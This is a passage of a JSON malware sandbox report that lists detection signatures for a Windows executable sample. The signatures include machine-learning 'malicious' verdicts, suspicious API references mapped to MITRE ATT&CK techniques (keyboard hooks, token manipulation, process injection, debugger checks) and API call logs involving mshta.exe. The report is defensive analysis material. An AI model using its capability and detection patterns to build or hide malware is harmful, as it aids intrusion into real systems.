string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$25","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-230","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; Source: \"sample.bin\"), Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-91","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$26","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\"), Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\"), Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"sample.bin\"), Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"sample.bin\"), Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in \"sample.bin\", Found registry modification API: \"RegCreateKeyExW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-307","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"igBang.pdb\"","origin":"sample.bin","id":"string-7","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Able to use GrayString API for text rendering","description":"Found reference to API \"GrayStringW\" (Indicator: \"GrayStringW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-900","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-88","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"sample.bin\", Found registry query API: \"RegQueryValueW\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExW\" in \"sample.bin\", Found registry query API: \"RegEnumKeyExW\" in \"sample.bin\", Found registry query API: \"RegOpenKeyW\" in \"sample.bin\", Found registry query API: \"RegEnumKeyW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-115","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"sample.bin\"), Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-121","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1087","id":"string-452","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\"), Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve name of the domain controller for the current domain (API string)","description":"Found domain controller discovery API reference: \"DsGetDcName\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-904","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve Domain Trust data (API string)","description":"Found reference to API \"DsGetDcNameW\" (Indicator: \"DsGetDcName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1482","id":"string-259","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1135","id":"string-313","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\"), Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; Source: \"sample.bin\"), Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"sample.bin\"), Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://schemas.microsoft.com/smi/2005/windowssettings\", Heuristic match: \"lowed.co\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResource\"; Source: \"sample.bin\"), Found reference to API \"WNetCloseEnum\" (Indicator: \"WNetCloseEnum\"; Source: \"sample.bin\"), Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1135","id":"string-923","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"sample.bin\"), Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1049","id":"string-257","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-304","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-320","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-223","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-148","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"FindResourceW\" with parameter \"22217332\" - (UID: 00000000-00005964)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"LoadResource with parameter {'hModule': '5570560', 'hResInfo': '6013000'}\" (UID: 00000000-00005964)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1676148736', 'hResInfo': '22878784'}\" (UID: 00000000-00003516)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1666777088', 'hResInfo': '1667817848'}\" (UID: 00000000-00003516)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1666777088', 'hResInfo': '1667817832'}\" (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"e6>;Aes\" (Indicator: \"Aes\"; Source: \"00000000-00005964.00000001.79349.01680000.00000004.mdmp, 00000000-00005964.00000002.81275.02590000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000000.77427.01450000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000000.77427.018B0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000000.77427.02440000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000001.79349.00550000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000001.79349.01450000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000002.81275.00550000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000002.81275.01450000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000002.81275.01908000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: 